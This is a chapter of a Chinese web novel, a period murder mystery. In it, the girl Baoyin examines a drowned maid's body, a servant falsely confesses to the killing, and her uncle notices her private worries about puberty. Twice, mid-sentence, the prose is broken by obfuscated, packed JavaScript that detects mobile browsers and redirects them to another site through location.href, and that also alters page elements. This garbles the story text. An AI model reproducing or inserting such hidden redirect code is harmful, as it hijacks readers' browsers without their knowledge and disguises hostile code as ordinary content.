话落，余下几人面面相觑。 此时夜风忽起，吹散河面薄雾，四只火把明灭不定，映得众人脸上青红交错。 同一阵风，自河面袭来，穿过芦苇丛、行过官道，直直扑进二楼雕花窗内，卷了宝音手边烛灯火苗。灯灭了几瞬，腾的吐出一团三寸火舌，宝音皱眉从医书中抬起头。她脸上薄红，一想起方才验尸情形，又羞又惧。贞杏斟了盏茶，搁在宝音手边，劝道：“姑娘验尸回来就扎进书里，也不歇歇。天黑了，熬灯油看书多伤眼睛。” 宝音忙用手盖住“玉门有损”四字，甚不自在地笑笑：“我没事。” 话音刚落，门扇哐啷被人推开。绣条踉跄几步走进来，动静甚大，竟唬了宝音和贞杏一跳。宝音端盏饮茶，贞杏蹙眉打量绣条：“咦，你怎么满额头都是汗？” “我，”那厢绣条忙用袖角擦额角，支支吾吾道，“我没呀。” 宝音见她神色异样，眼神躲闪，将茶盏搁在掌心：“缘条呢？怎么不去陪你阿兄？” “阿兄……”绣条蹭的跪地磕头，颤声道，“姑娘饶命！” 宝音和贞杏对视一眼，二人皆不明白绣条这番作派。宝音近前扶绣条：“你怎么了？有什么话，直说就是。有何难处，也告诉我，看我能不能帮的。” 门外环佩叮当响起。“她能有什么难处？”卢评芳忽现出身影，立在门框之间。她睨了眼跪在地上的绣条，抬脚将绣条踢翻，冷笑道：“把人带上来！” 说罢，两个壮仆揪着缘条后领拖将进来，迫他跪在绣条旁边。卢评芳恨得咬牙：“好啊，半夜里畏罪潜逃，一个跑路，一个把风。亏得我早怀疑了你们，教人暗中盯死了。要不然，真个叫你逃了，我垂红儿岂不死得冤枉！” 宝音立时明白过来，追问绣条：“这番话是什么意思？绣条，你们方才做什么了！” 绣条哆哆嗦嗦跪在地上，不敢开口。缘条啐了卢评芳一口，扬脸朝宝音道：“崔小姐休要听这毒妇胡吣！那垂红儿是我杀的，我一人做事一人当，要杀要剐冲我来！与我绣条无关，与小姐、大人也无关。” 见缘条一口承认，卢评芳尖着嗓子笑得寒厉：“听听！听听！这起子黑了心肝的腌臜货！我早经说过是他，崔小姐你还不信，嗯？早知如此，何必验尸麻烦，还辱了垂红儿死后清白！他恨我骂了他，就把怨恨放到垂红儿身上。这等死了良心的奴才，不仅身上脏，心更脏！” 宝音只问：“你杀她做什么？她虽骂了你，可也不能杀人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15432110|166773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呀！” 缘条梗着脖子，把脸一扭：“她骂绣条！” “你！”宝音跺足叹道。 卢评芳冷笑一声：“崔小姐，你年纪小看走了眼，我不怪你。只是今后可得擦亮眼睛，有些人啊，天生低贱，是狗一辈子改不了吃屎。”她朝押住缘条的两个小厮道：“走！把人捆好，明儿一早就扭送官府！” “且慢。” 榕平剑鞘拦住小厮，崔承戟负手拾级而上，剑眉压沉：“这个垂红儿，还真不是缘条杀的。” 卢评芳愣怔，而后暗咬银牙道：“崔大人，缘条畏罪潜逃，被我拿住。他方才也认了杀害垂红儿之罪，崔小姐可听得真真的。” 崔承戟立在宝音身侧，低眸瞥了眼缘条、绣条兄妹：“缘条确有罪，但并非杀人。”他抬眸，盯住卢评芳：“缘条，你说你杀了垂红儿，你是如何杀她的？” “我……”缘条懊恼叹道，“我失手掐死她的。” “在哪里掐死的？” “河边？” “掐死她之后呢？” “我不敢逗留，忙跑回来了。” “哦——”崔承戟故意拖长尾音，目光依旧盯住卢评芳，“那童沙发现垂红儿时，她怎么漂在河里？” 缘条愣了半瞬，忽的抬头，眼中闪出熠熠亮光：“不是我杀死的她！不是我杀的她！我跑时她分明躺在河边！” 卢评芳葱指一指：“那你怕什么！你跑什么！” 缘条膝行几步，朝崔承戟道：“我昏了头！刚从崔小姐验尸，说她脖子上有掐痕，我就怕了！我只记得我把她掐晕，我以为她死了。但拖到她河里，实实不是我干的！” “你说不是你，就不是了？适才验尸前还信誓旦旦说与你无关，怎么这会儿亲口认了你掐死垂红儿！你这狗才，满嘴谎言！”卢评芳同崔承戟道，“崔大人，我知这二人是崔小姐爱奴，可杀人偿命，天经地义。再怎么护着，是凶手，早晚有报应！” 童沙拨开人群，从人头攒动里钻出来。他顿足叹道：“卢小姐，人真不是这小相公杀的呀！适才我们去河边走了一遭，拖垂红儿姑娘入水的脚印，分明是钉靴。可这小相公衣着陈旧，一双草鞋，哪里穿得起钉靴！” 待童沙说完，崔承戟自袖中取出一小团丝线，摊在掌中：“这是拖痕附近芦苇上挂的丝线，想必是凶手拖垂红儿入水时，衣裳抽了丝，挂在苇杆。卢小姐，你仔细瞧瞧，这团丝线是什么颜色，又是什么丝料的？” 卢评芳凝眸一瞧，宝蓝色的丝线，哪里是缘条这等长工穿得起的？缘条一身麻布衣裳，脚蹬露趾草鞋，光这两项，他身上嫌疑便小了泰半。 史掌柜却困惑出声：“也不对呀，若是缘条掐死了垂红儿，被什么人无意发现，再将垂红儿拖入河里呢？” 宝音追上话：“寻常人在乡野间碰见尸体，反应当如童沙一样。就算他冷静自持，一里处就是官驿，为何不找人帮忙，而是多此一举把尸体拖入水中？” 史掌柜继续道：“那这人为何要杀害垂红儿？” “自然是因为——”宝音刚要说下去，忽而愣住，那“奸.污”二字梗在喉头，无论如何也说不出来了。说出垂红儿是被人“奸.杀”的，可替缘条洗清嫌疑，却也辱了亡者清誉。宝音垂眸：“或许垂红儿还与别人有仇。” 29. 少女 卢评芳梗着脖子刚要反驳，灵台如遭雷击，她猛然意识到宝音如此说，是为了保全垂红儿清誉。电光火石间，宝音、卢评芳四目相望，心意无声却胜过万语千言。等卢评芳垂了眸，再开口时声音已无方才押解缘条时那般理直气壮：“也许是罢。” 史掌柜捻须沉吟：“这般说，确也有理。这垂红儿姑娘与卢小姐一般的伶牙俐齿，极会说话的人物。有道是祸从口出——”未待他讲完，卢评芳横目一记眼风扫去，秋水美目此时布满血丝，早无往日的袅娜风情。史掌柜心头肉小小一颤，也便识趣儿地住了嘴。 如此一来，垂红儿之死也渐渐明晰了。据缘条所述，他傍晚离开，原意是想早些回家看护老父，途中偶遇河边哭泣的垂红儿。垂红儿瞧见他，想到自己那一巴掌是因他捱的，嘴里不干不净地詈骂缘条，连带着绣条也便骂在里头。缘条急火攻心，偏偏他口齿木讷，说不过垂红儿。缘条憋了股大气，直直同垂红儿动起手来。他本是码头扛货的长工，三两下就轻松掣住垂红儿，掐住她脖子逼她道歉。垂红儿哪是好惹的性子，咬牙死命不说，尖指甲乱舞乱抓，生生被缘条掐晕过去——缘何笃定当时垂红儿是被掐晕，而非直接被缘条掐死的？只因崔宝音验尸之际，验出垂红儿鼻窦含藻、指尖藏泥、胸腹按压出溺液，此种种迹象无不证明，垂红儿是溺毙的。垂红儿晕去之后，缘条大惊，以为自己杀害垂红儿，慌不择路逃回驿馆。这才有了后续童沙夜尿误见女尸这出戏。 至于真正杀害垂红儿的凶手，如今线索只集中在那团宝蓝丝线与河岸泥地的钉靴足印上。榕平后又领人前往岸边，将足印画在纸上，于驿馆里一一核对审查，连崔承戟的钉靴也拿出来比对了，到底还是找不出凶手。崔承戟坐在梨木圈椅内，一脚蹬进靴筒：“我们这般大动静，那凶手但凡不蠢不聋不笨的，早将这些证物销毁了。”他略一扬眸，想起什么似的：“榕平，你再带两个人搜搜驿馆附近的芦苇地。” 说罢，崔承戟起身同史掌柜道：“劳驾掌柜的，再借几个小幺儿。” 史掌柜忙道“不敢”，立时点来三个十来岁的小幺儿，与榕平等人两个为一组，正好彼此监督。榕平带人刚要走，宝音忽的追上去，附在榕平耳畔叽叽咕咕不知说了些什么。等宝音说完，榕平含笑点头，这才带着人呼啦啦遁入夜色之中了。 崔承戟望着宝音扶门框的背影，问道：“说什么？” 宝音笑着转身：“我同榕平大哥说，这是我第一次验尸，第一次当仵作，求他一定要好好找，把真凶揪出来。” 崔承戟敛眸，朝宝音伸出手，沉声：“过来。”宝音小步跑至崔承戟面前，将手搁在二叔的大掌里。崔承戟握拳裹住宝音的白腻小手，稍加用力，人便被他拉到自己跟前。崔承戟同众人道一句：“时辰不早，诸位早些歇息，静待榕平佳音便可。” 大堂下众人渐渐散去，唯卢评芳呆站在原地，目光盯住虚空某处，不知她在思量什么。宝音转头望她，卢评芳猛然抬头，两人隔空相望，卢评芳遥遥做了个“谢谢”的口型，继而错开眼，兀自神游太虚去了。宝音刚想喊她，手上却多了一道力。崔承戟拉她回房，而后将格扇门重重掩上。 “二叔。”身后小女娘娇怯声音响起。 崔承戟闷闷“嗯”了一声，他正想着如何劝宝音歇了做仵作的心思，转身之际瞥见桌案上摊开的医书，隐约有批红在上头。崔承戟信步走去，却不想宝音率先一步，两只小手慌忙掩住书页上的字，连带着自己的批红也遮住了。崔承戟不由起疑：“宝音不是说有许多问题想问二叔，怎生这会儿却不给我看了？” 宝音脸已臊红，吞吞吐吐半天，才说了囫囵一句话：“我都弄明白了。” 这厢崔承戟不由更疑，这些医书玄奥精深，以宝音的学识阅历，怎可能“都弄明白了”？分明是有事瞒着他，不想教他知道。崔承戟冷了脸，沉声命令道：“拿开。” “不要……”宝音用手遮得更严实，嘟嘟囔囔恳切道，“我真的都弄明白了。” 见她如此模样，崔承戟轻笑一声，也不着急，反是大马金刀地坐在圈椅内，歪了头只盯着宝音。宝音素来不曾违逆过崔承戟，这会子二叔皮笑肉不笑地盯她，她早已心里发怵，急得额角沁汗。她见崔承戟脸色不悦，怯怯开口：“二叔别气了，我真的弄明白了。您……您忙碌一晚上，也早些歇息。” 崔承戟盯她半瞬，忽如释重负般笑开，他抽过桌角一方帕子，细细替宝音擦汗，温声一如往常：“嗯，小姑娘长大，开始有自己的心事了，不能告诉二叔听了。”他只仔细替宝音擦拭额角薄汗，目光是丝毫未瞥桌案医书。崔承戟仿佛已然忘却适才的对峙，一心一意关心宝音：“过会子先沐浴，再上床休息。晚间才验了尸，身上不干净。” 他这温润体贴端方的模样，反教宝音惴惴不安起来。二叔这样关心我，我却瞒他，宝音暗暗揣度着。她任二叔隔着罗帕的指腹一点一点替自己拭汗，不由慢慢低头，心里百转千回想起二叔数次救自己于水火，又同意自己学验尸，亲自教自己，实实是天底下第一待她好的人了。那些对二叔的愧疚让她缓缓松开遮蔽书页的手，宝音垂头嗫嚅：“二叔，其实我……” 宝音到底是年岁小，那些婉转心思在脸上写了七七八八，像崔承戟这般宦海浮沉、黑白周旋的人精，稍一看，便懂了。往昔他很是克制自己，从不肯在宝音身上搬弄手腕、耍弄机锋。可今夜宝音主动要求验尸，他心底本就不大痛快，此番又瞒他，简直是往崔承戟那将燃未燃的刨花儿上狠狠吹了把风。他还是十几天前的心思，琴棋书画诸样雅艺，宝音任选一样，或者都学了，或者都不学，怎样都好。他崔承戟养得起一个小女娘，好前程、好姻缘，他都有百般手腕替宝音周全了。可是仵作验尸之道，卑微低贱，又素来是男子操持的行当，十分配不上他捧在掌心的这株玫瑰。 当下，崔承戟仍旧噙着方才体贴温柔的笑，骨节分明的手指捻了一缕碎发替宝音掖在耳后。 宝音却就着这道力，将脸枕进崔承戟的掌心。她想到今夜的事，想到书上的字，酸酸涩涩的苦水漫上来，鼻尖一酸，一行泪顺着脸颊滑落。宝音泣声道：“对不住，二叔，对不住……” 崔承戟是万万没想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15442384|166773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到宝音会哭。只要宝音一哭，他便什么招都没有了。适才在心底想好的如何让宝音乖乖把书给他看、又如何规劝宝音丢开当仵作这门心思的谋算，刹那间烟消云散。他慌慌张张搂过宝音，捏了帕子给宝音拭泪。可没想到，他这一抱，宝音反而哭得更凶，靠在他怀里，像要把泪全抹他雀蓝补子上似的。崔承戟抖着手给怀里小人儿擦泪，声音也抖得紧：“诶，别哭别哭。怎么哭了呢？二叔不看了，再也不看了，好不好？别哭……宝音乖，快莫哭了，明儿一早赶路，哭肿了眼睛被榕参他们笑话，嗯？” 却说今番无人欺负宝音，崔承戟虽想看她遮住的医书内容，但也好言好语同她说话，她这会子何必哭呢？其实，宝音这哭的源头还是得从今夜验尸说起。 晚间宝音验垂红儿尸，教卢评芳点出她学艺不精，这本没什么。偏偏卢评芳指着垂红儿腿间粘的□□液体，直截了当说出垂红儿真实死因。宝音年纪小，幼年失恃，来宋家之后，身边也无教引嬷嬷看顾，故而宝音莫论是男女之事，对女子生长规律也是全然不知的。今夜卢评芳指着那滩□□说是男子精.血，宝音心里臊极了，同时也怕。到底怕的是什么，她却说不清，好像自己被无形的手推入一个全新的陌生世界，可她什么都不懂。这些话，她不知如何说，更不知同何人说，崔承戟是万不可能的，他是男子；贞杏、绣条似乎可以，而宝音又不知如何开口。譬如近来她有时会觉得胸脯坠得痛，是正常的还是生病了，她也不知问谁。虽说前时苏郎中常来替屠苏看诊，她也不敢问苏老先生，难不成她一个十二岁的女娘还要指着自己瘪瘪的胸脯，问一个年交六十的老郎中：“老先生，我近来总是胸痛，是什么病吗？”于是，宝音只好将这些心事埋进心底。好在有这些医书，在卷帙浩繁的犄角旮旯里，宝音读到，这是女子生长的正常过程、必经之路，也就是说，她已开始慢慢从女孩儿向少女蜕变。 这就是宝音的委屈。没有人跟她说，女孩会如何成长为少女、再如何成长为女人，所以那些身体上的变化与隐痛，让宝音害怕，也让她无措，她唯一能做的，只有将它们藏进烛泪中、将它们和进夜风里。 崔承戟一壁安抚宝音，一壁匆匆扫视书中的只言片语，那些被宝音圈红的文字，刺目地扎进他的眼里，什么“玉门有损”“幽户浮胀”“□□附牝”，激得他太阳穴咚咚如鼓擂。他一只手轻拍宝音脊背，一只手腾出来颤抖着翻阅书籍，纸张哗哗翻动。翻到某页时，崔承戟手形一顿，他分明瞧见宝音在“年少妇人，天癸冲，任脉通，而乳络阻滞，常有胀痛”一语上批红曰：“宜食养血疏肝行气之物。” 因为没有母亲，没有教引嬷嬷，所以她只能用这种方式自救。 崔承戟忽然觉得自己像淹在一潭深坑里，死水困住他的手脚，拖他下水、教他窒息。他想抱抱宝音，可却松开手，把帕子塞进宝音手中。 她是真的在长大，在努力地、竭尽所能地养自己，慢慢地、也茫然无措地成为一个知人事的少女。他不能再抱她了。 崔承戟哑了嗓子：“……阿满。” “是二叔对不起你。”